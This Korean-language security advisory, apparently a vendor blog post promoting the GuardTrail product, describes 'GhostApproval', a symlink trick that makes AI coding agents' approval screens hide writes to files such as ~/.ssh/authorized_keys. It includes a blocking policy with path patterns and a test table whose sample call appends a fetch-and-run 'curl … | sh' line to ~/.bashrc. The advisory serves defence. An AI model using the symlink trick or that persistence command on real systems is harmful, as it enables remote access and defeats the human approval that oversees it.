- 악성 저장소에 무해한 이름의 심볼릭 링크(예:
project_settings.json)를 두고, 그 대상을~/.ssh/authorized_keys같은 작업 공간 밖 파일로 지정한다. - 승인 화면은 링크의 로컬 이름만 보여 주므로, 사용자는 무해한 수정으로 판단해 승인한다. CWE-61(심볼릭 링크 추적)과 CWE-451(UI 오표시)의 결합이다.
- Amazon Q Developer, Claude Code, Augment, Cursor, Google Antigravity, Windsurf 여섯 종이 영향을 받았고, 벤더별 대응은 수정 완료부터 미수정까지 갈렸다.
- 승인 화면은 정보가 정확할 때만 통제 수단이 된다. 판정의 일차 책임은 사람의 클릭이 아니라 결정적 정책에 두어야 한다.
1.개요
코딩 에이전트 대부분은 파일을 수정하거나 명령을 실행하기 전에 사용자에게 승인을 구한다. 이 승인 절차는 에이전트 보안의 기본 안전장치로 여겨져 왔다. GhostApproval은 이 안전장치가 표시되는 정보를 그대로 믿는다는 점을 공략한다.
Wiz Research(Maor Dokhanian)는 2026년 2월 10일부터 3월 6일 사이에 각 벤더에 제보했고, 7월 8일 연구를 공개했다.
2.공격 원리
공격자는 저장소에 평범한 이름의 심볼릭 링크를 넣어 둔다. 에이전트가 프로젝트 설정을 정리하는 과정에서 이 파일을 수정하려 하면, 승인 화면에는 링크의 이름만 표시된다. 사용자가 승인하는 순간 에이전트는 링크를 따라가 작업 공간 밖의 민감한 파일에 기록한다. SSH 인증 키나 셸 시작 스크립트가 수정되면 공격자는 개발자 PC에 원격으로 접속할 수 있다.
주목할 점은 Claude Code와 Augment의 경우 에이전트의 내부 추론이 위험한 대상을 이미 식별했다는 것이다. 그러나 그 정보는 사람에게 보이는 승인 화면에 반영되지 않았다.
3.벤더별 대응 현황
| 제품 | 식별자 | 대응 |
|---|---|---|
| Amazon Q Developer | CVE-2026-12958 | 수정 완료(Language Server 1.69.0 이상, 2026년 5월) |
| Cursor | CVE-2026-50549 | 수정 완료(3.0, 2026년 6월) |
| Google Antigravity | 부여 대기 | 수정 완료(2026-05-22 배포) |
| Claude Code | 없음 | 심볼릭 링크 경고 추가, 벤더는 위협 모델 밖의 시나리오로 판단 |
| Augment | 없음 | 인지했으나 공개 시점 미수정 |
| Windsurf | 없음 | 인지했으나 공개 시점 미수정 |
공개 시점(2026-07-08) 기준. Wiz와 CSA 연구 노트를 따랐다.
4.분석: 승인 절차의 전제는 표시 정보의 정확성이다
사람의 승인은 보안 통제로서 두 가지 전제를 가진다. 승인 화면이 실제 동작을 정확히 표시해야 하고, 사용자가 그 정보를 근거로 판단할 수 있어야 한다. GhostApproval은 첫 번째 전제를 깨뜨렸다. 에이전트가 하루에 수백 번 승인을 요청하는 환경에서는 두 번째 전제도 약해진다. 승인 피로는 결국 반사적인 클릭으로 이어진다.
Cloud Security Alliance가 행동 단위 승인에만 의존하지 말고 단계적 자율성 체계를 갖추라고 권고한 것도 같은 맥락이다. 승인은 정책 판정을 거친 뒤에도 판단이 필요한 소수의 호출에 적용해야 하며, 명백히 위험한 행위는 사람의 클릭 이전에 결정적으로 판정되어야 한다.
5.위협 분류 매핑
이 사건의 공격 단계를 OWASP 에이전트 애플리케이션 Top 10(2026)과 MITRE ATLAS 기법에 대응시키면 다음과 같다. GuardTrail은 판정 결과에 같은 분류의 태그를 붙여 기록하고, SIEM으로 내보낼 때 함께 전달한다.
| 체계 | 항목 | 이 사건에서 |
|---|---|---|
| OWASP ASI | ASI09 사람과 에이전트 간 신뢰 악용 | 승인 화면이 실제 동작과 다른 정보를 보여 줬다 |
| OWASP ASI | ASI03 신원·권한 남용 | SSH 인증 키 추가로 개발자 PC 접근 권한을 획득했다 |
| CWE | CWE-61 · CWE-451 | 심볼릭 링크 추적과 UI 오표시의 결합 |
| MITRE ATLAS | AML.T0053 AI Agent Tool Invocation | 파일 쓰기 도구 호출로 수행됐다 |
6.젠아이랩스 GuardTrail의 대응
젠아이랩스(GenAI Labs) GuardTrail은 AI 에이전트의 도구 호출을 실행 직전에 가로채 기록·판정·차단하는 Agent EDR이다. 개발자 PC의 코딩 에이전트(Claude Code 훅, stdio 래퍼)와 사내 MCP 서버(게이트웨이)에 설치되며, 차단 판정은 언어 모델이 아닌 결정적 정책으로 내린다. 제품 소개 · 위협 차단 · 도입 방식
GuardTrail은 승인을 일차 방어선으로 두지 않는다. 판정 순서는 하드 정책, 고객 정책, 위험 점수, 그리고 마지막으로 사람의 승인이다.
- 하드 정책은 승인과 무관하게 동작한다. 자격증명 반출, 시스템 파괴 명령, 조직이 금지한 도구는 사용자가 승인하더라도 실행되지 않는다.
- 민감 경로를 정책으로 지정한다. 고객 정책의
args_pattern으로.ssh, 셸 시작 스크립트, 에이전트 설정 폴더 같은 경로가 인자에 나타나는 쓰기 호출을 차단하거나 승인 대상으로 지정할 수 있다. 인자 전체를 해석해 판정하므로 따옴표나 이스케이프로 감춰도 결과가 같다. - 승인은 원본 인자와 함께 기록된다. 관리자 승인 요청에는 도구, 인자 미리보기, 목적지, 정책 사유가 함께 표시되고, 누가 언제 승인했는지가 감사 기록으로 남는다. 승인은 인자 원문의 해시에 묶이므로, 인자가 한 글자라도 다른 호출은 별개의 호출로 판정된다. 승인한 것과 다른 호출이 그 승인으로 실행되지 않으며, 승인된 호출도 정확히 한 번만 실행된다.
고객 정책 예시
SSH 인증 키와 셸 시작 파일처럼 원격 접근과 지속성에 쓰이는 경로를 에이전트가 쓰지 못하게 한다. 파일 쓰기 도구뿐 아니라 셸 명령으로 쓰는 경우도 같은 정책으로 판정한다.
policies:
- id: shell-trust-files-block
name: SSH 키·셸 시작 파일 수정 차단
effect: BLOCK
mode: enforce
failure_mode: fail_closed
reason: SSH 인증 키와 셸 시작 파일은 에이전트가 수정할 수 없습니다.
match:
tool: ["Write", "Edit", "Bash", "*:write_file"]
args_pattern: ['\.ssh/(authorized_keys|config)', '(^|/)\.(bashrc|zshrc|profile|bash_profile)\b']
판정 결과
SSH 인증 키 파일과 .bashrc에 쓰는 호출은 차단되고, 프로젝트 안의 설정 파일 수정은 진행된다. 이 정책은 인자에 나타난 경로를 판정하므로, 심볼릭 링크 대상 해석은 에이전트 실행 계정의 파일 권한 제한과 함께 운영한다. 아래 표는 위 정책을 GuardTrail 정책 엔진에 적용하고 guardtrail policy test --mode enforce로 각 호출을 판정한 실제 결과다. 인자에 넣은 키와 토큰은 공개 문서의 예시 값이다.
| 도구 호출 · 에이전트 | 판정 | 정책·사유 |
|---|---|---|
Write /home/dev/.ssh/authorized_keysagent:dev · 내장 정책 + 고객 정책 | 차단 | shell-trust-files-blockSSH 인증 키와 셸 시작 파일은 에이전트가 수정할 수 없습니다. |
echo 'curl -s https://x.example.net/a | sh' >> ~/.bashrcagent:dev · 내장 정책 + 고객 정책 | 차단 | shell-trust-files-blockSSH 인증 키와 셸 시작 파일은 에이전트가 수정할 수 없습니다. |
Write /work/app/project_settings.jsonagent:dev · 내장 정책 + 고객 정책 | 허용 | 적용 정책 없음기록 후 실행 |
7.점검 방법
- 심볼릭 링크 점검: 외부 저장소를 열기 전에
find . -type l -exec ls -l {} +로 작업 공간 밖을 가리키는 링크를 확인한다. - 키 파일 변경 확인:
~/.ssh/authorized_keys의 수정 시각과 내용을 확인하고, 모르는 키를 제거한다. - 셸 시작 파일 확인:
~/.bashrc,~/.zshrc,~/.profile에 최근 추가된 명령을 검토한다. - 버전 확인: Amazon Q Language Server 1.69.0 이상, Cursor 3.0 이상인지 확인한다.
8.권고 사항
- 영향받는 에이전트를 수정 버전으로 업데이트한다. 미수정 제품은 컨테이너 격리와 파일 시스템 권한 제한으로 보완한다.
- 외부 저장소를 에이전트에 열기 전에 심볼릭 링크를 점검한다(
find . -type l). - 에이전트 실행 계정에서
~/.ssh, 셸 시작 스크립트에 대한 쓰기 권한을 제한한다. - 행동 단위 승인에만 의존하지 말고, 위험 행위는 정책으로 먼저 판정한다.
참고 문헌
- Cloud Security Alliance, GhostApproval: A Trust Boundary Gap in Six AI Coding Agents. labs.cloudsecurityalliance.org
- Cloud Security Alliance, GhostApproval: AI Coding Assistant Symlink. labs.cloudsecurityalliance.org
관련 제품 · 보안 권고
- NVD, CVE-2026-12958 (Language Servers for AWS 심볼릭 링크 검증 누락). nvd.nist.gov
- NVD, CVE-2026-50549 (Cursor). nvd.nist.gov
- Wiz Research 블로그. wiz.io
- 젠아이랩스 GuardTrail. guardtrail.gensapps.com · 표준 커버리지
수치와 경위는 각 출처가 공개한 내용을 따랐다. 접근 확인 2026-07-16.